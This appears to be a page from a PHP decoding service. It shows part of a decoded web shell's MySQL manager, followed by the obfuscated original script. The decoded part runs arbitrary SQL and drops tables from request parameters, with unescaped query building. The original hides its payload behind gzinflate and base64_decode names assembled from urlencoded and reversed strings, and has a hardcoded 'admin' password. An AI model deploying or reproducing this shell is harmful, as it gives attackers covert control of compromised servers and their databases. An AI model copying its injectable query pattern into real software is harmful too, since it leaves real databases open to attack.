foreach ($good as $var => $key) {
$queryc .= $var . '=\'' . addslashes($key) . '\' AND ';
}
$where = $query . substr($queryc, 0, -4) . ';';
$MSG_BOX = @mysql_query($where, $conn) ? "" : " " . @mysql_error();
}
$action = "?eanver=mysql_msg&db=" . $_GET['db'];
if (isset($_GET['drop'])) {
$query = "Drop TABLE IF EXISTS " . $_GET['drop'] . ';';
$MSG_BOX = @mysql_query($query, $conn) ? "" : " " . @mysql_error();
}
if (isset($_GET['table'])) {
$action .= '&table=' . $_GET['table'];
if (isset($_GET['edit'])) $action .= '&edit=' . $_GET['edit'];
}
if (isset($_GET['insert'])) $action .= '&insert=' . $_GET['insert'];
echo "<div class=\"actall\"><form method=\"POST\" action=\"" . $action . "\" name=\"gform\" id=\"gform\">";
echo "<textarea name=\"nsql\" id=\"nsql\" style=\"width:500px;height:50px;\">" . $textarea . "</textarea> ";
echo "<input type=\"button\" name=\"querysql\" value=\"\" onclick=\"SubmitUrl();\" style=\"width:60px;height:49px;\"> <input type=\"button\" value=\"\" style=\"width:60px;height:49px;\" onclick=\"Createok('a')\"> <input type=\"button\" value=\"\" style=\"width:60px;height:49px;\" onclick=\"Createok('b')\"> <input type=\"button\" value=\"\" style=\"width:60px;height:49px;\" onclick=\"Createok('c')\"></form></div><div class=\"msgbox\" style=\"height:40px;\">" . $MSG_BOX . "</div><div class=\"actall\"><a href=\"?eanver=mysql_msg&db=" . $_GET['db'] . '">' . $_GET['db'] . "</a> ---> ";
if (isset($_GET['table'])) {
echo "<a href=\"?eanver=mysql_msg&db=" . $_GET['db'] . '&table=' . $_GET['table'] . '">' . $_GET['table'] . '</a> ';
echo "[<a href=\"?eanver=mysql_msg&db=" . $_GET['db'] . '&insert=' . $_GET['table'] . "\"></a>]</div>";
if (isset($_GET['edit'])) {
if (isset($_GET['p'])) $atable = $_GET['table'] . '&p=' . $_GET['p']; else $atable = $_GET['table'];
echo "<form method=\"POST\" action=\"?eanver=mysql_msg&db=" . $_GET['db'] . '&table=' . $atable . '">';
$result = @mysql_query("SELECT * FROM " . $_GET['table'] . ' LIMIT ' . $_GET['edit'] . ', 1;', $conn);
$good = @mysql_fetch_assoc($result);
$u = 0;
foreach ($good as $var => $key) {
$queryc .= $var . '=\'' . $key . '\' AND ';
$type = @mysql_field_type($result, $u);
$len = @mysql_field_len($result, $u);
echo "<div class=\"actall\">" . $var . " <font color=\"#FF0000\">" . $type . '(' . $len . ")</font><br><textarea name=\"upsql[" . $var . "]\" style=\"width:600px;height:60px;\">" . htmlspecialchars($key) . "</textarea></div>";
$u++;
}
$where = 'WHERE ' . substr($queryc, 0, -4);
echo "<input type=\"hidden\" id=\"wherevar\" name=\"wherevar\" value=\"" . base64_encode($where) . "\"><div class=\"actall\"><input type=\"submit\" value=\"Update\" style=\"width:80px;\"></div></form>";
} else {
$query = "SHOW COLUMNS FROM " . $_GET['table'];
$result = @mysql_query($query, $conn);
$fields = array();
/*
*
$pagesize = 20;
$row_num = mysql_num_rows(mysql_query("SELECT * FROM " . $_GET['table'], $conn));
$numrows = $row_num;
$pages = intval($numrows / $pagesize);
if ($numrows % $pagesize) $pages++;
$offset = $pagesize * ($page - 1);
$page = $_GET['p'];
if (!$page) $page = 1;
if (!isset($_GET['p'])) {
$p = 0;
$_GET['p'] = 1;
} else $p = ((int)$_GET['p'] - 1) * 20;
*
*
*
*
*/
$pagesize = 20;
$row_num = @mysql_num_rows(@mysql_query("SELECT * FROM " . $_GET['table'], $conn));
$numrows = $row_num;
$pages = intval($numrows / $pagesize);
if ($numrows % $pagesize) $pages++;
if (!isset($_GET['p'])) {
$p = 0;
$_GET['p'] = 1;
} else {
$p2 = ((int)$_GET['p']);
if ($p2 > $pages)
$p2 = $pages;
else if ($p2 < 1)
$p2 = 1;
$p = ($p2 - 1) * 20;
$_GET['p'] = $p2;
}
$page = $_GET['p'];
$offset = $pagesize * ($page - 1);
echo "<table border=\"0\"><tr>";
echo "<td class=\"toptd\" style=\"width:70px;\" nowrap></td>";
while ($row = @mysql_fetch_assoc($result)) {
array_push($fields, $row['Field']);
echo "<td class=\"toptd\" nowrap>" . $row['Field'] . "</td>";
}
echo "</tr>";
$nsql = isset($_POST['nsql']) ? $_POST['nsql'] : "";
if (preg_match('/WHERE|LIMIT/', $nsql) && preg_match('/SELECT|FROM/', $nsql))
$query = $nsql;
else
$query = "SELECT * FROM " . $_GET['table'] . ' LIMIT ' . $p . ', 20;';
$result = @mysql_query($query, $conn);
$v = $p;
while ($text = @mysql_fetch_assoc($result)) {
echo "<tr><td><a href=\"?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $_GET['table'] . '&p=' . $_GET['p'] . '&edit=' . $v . "\"> </a> <a href=\"#\" onclick=\"Delok('','?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $_GET['table'] . '&p=' . $_GET['p'] . '&del=' . $v . "');return false;\"> </a></td>";
foreach ($fields as $row) {
echo '<td>' . nl2br(htmlspecialchars(Mysql_Len($text[$row], 500))) . "</td>";
}
echo "</tr>" . "\r\n";
$v++;
}
echo "</table><div class=\"actall\">";
$pagep = $page - 1;
$pagen = $page + 1;
echo " " . $row_num . " ";
$pagenav = "";
$pageStr = $row_num > 0 ? $page : "0";
$charseta = isset($_GET['charset']) ? $_GET['charset'] : "";
if ($pagep > 0) $pagenav .= " <a href='?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&p=1&charset=" . $charseta . "'></a> <a href='?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&p=" . $pagep . "&charset=" . $charseta . "'></a> "; else $pagenav .= " ";
if ($pagen <= $pages) $pagenav .= " <a href='?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&p=" . $pagen . "&charset=" . $charseta . "'></a> <a href='?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&p=" . $pages . "&charset=" . $charseta . "'></a>"; else $pagenav .= " ";
$pagenav .= " [" . $pageStr . "/" . $pages . "] <input name='textfield' type='text' style='text-align:center;' size='4' value='" . $pageStr . "' onkeydown=\"if(event.keyCode==13)self.location.href='?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&p='+this.value+'&charset=" . $charseta . "';\" />";
echo $pagenav;
echo "</div>";
}
} elseif (isset($_GET['insert'])) {
echo "<a href=\"?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $_GET['insert'] . '">' . $_GET['insert'] . "</a></div>";
$result = @mysql_query("SELECT * FROM " . $_GET['insert'], $conn);
$fieldnum = @mysql_num_fields($result);
echo "<form method=\"POST\" action=\"?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $_GET['insert'] . '">';
for ($i = 0; $i < $fieldnum; $i++) {
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
echo "<div class=\"actall\">" . $name . " <font color=\"#FF0000\">" . $type . '(' . $len . ")</font><br><textarea name=\"insql[" . $name . "]\" style=\"width:600px;height:60px;\"></textarea></div>";
}
echo "<div class=\"actall\"><input type=\"submit\" value=\"Insert\" style=\"width:80px;\"></div></form>";
} else {
$query = "SHOW TABLE STATUS";
$status = @mysql_query($query, $conn);
while ($statu = @mysql_fetch_array($status)) {
$statusize[] = $statu['Data_length'];
$statucoll[] = $statu['Collation'];
}
$query = "SHOW TABLES FROM " . $_GET['db'] . ';';
echo "</div><table border=\"0\"><tr><td class=\"toptd\" style=\"width:550px;\"> </td><td class=\"toptd\" style=\"width:80px;\"> </td><td class=\"toptd\" style=\"width:130px;\"> </td><td class=\"toptd\" style=\"width:70px;\"> </td></tr>";
$result = @mysql_query($query, $conn);
$k = 0;
while ($table = @mysql_fetch_row($result)) {
$charset = substr($statucoll[$k], 0, strpos($statucoll[$k], '_'));
echo "<tr><td><a href=\"?eanver=mysql_msg&db=" . $_GET['db'] . "&table=" . $table[0] . '">' . $table[0] . "</a></td>";
echo "<td><a href=\"?eanver=mysql_msg&db=" . $_GET['db'] . '&insert=' . $table[0] . "\"> </a> <a href=\"#\" onclick=\"Delok('" . $table[0] . "','?eanver=mysql_msg&db=" . $_GET['db'] . '&drop=' . $table[0] . "');return false;\"> </a></td>";
echo '<td>' . $statucoll[$k] . "</td><td align=\"right\">" . File_Size($statusize[$k]) . "</td></tr>" . "\r\n";
$k++;
}
echo "</table>";
}
}
} else {
$cookietime = time() - 6 * 3600;
setcookie($cookie_name_mysql . 'host', "", $cookietime);
setcookie($cookie_name_mysql . 'port', "", $cookietime);
setcookie($cookie_name_mysql . 'user', "", $cookietime);
setcookie($cookie_name_mysql . 'pass', "", $cookietime);
die("MYSQL,.<meta http-equiv=\"refresh\" content=\"1;URL=?eanver=mysql_exec\">");
}
/*if (!$BOOL and addslashes($query) != '') echo "<script type=\"text/javascript\">document.getElementById('nsql').value = '" . addslashes($query) . "';</script>";*/
break;
default:
html_main();
break;
}
css_foot();
ob_end_flush();
Did this file decode correctly?
Original Code
<?php
$pass = "admin";
$m1=urldecode("%67%7A%69%6E%66%6C%61%74%65");
$m2=strrev('46esab');
$m2=$m2."_".urldecode('%64%65%63%6F%64%65');
$str = $m2("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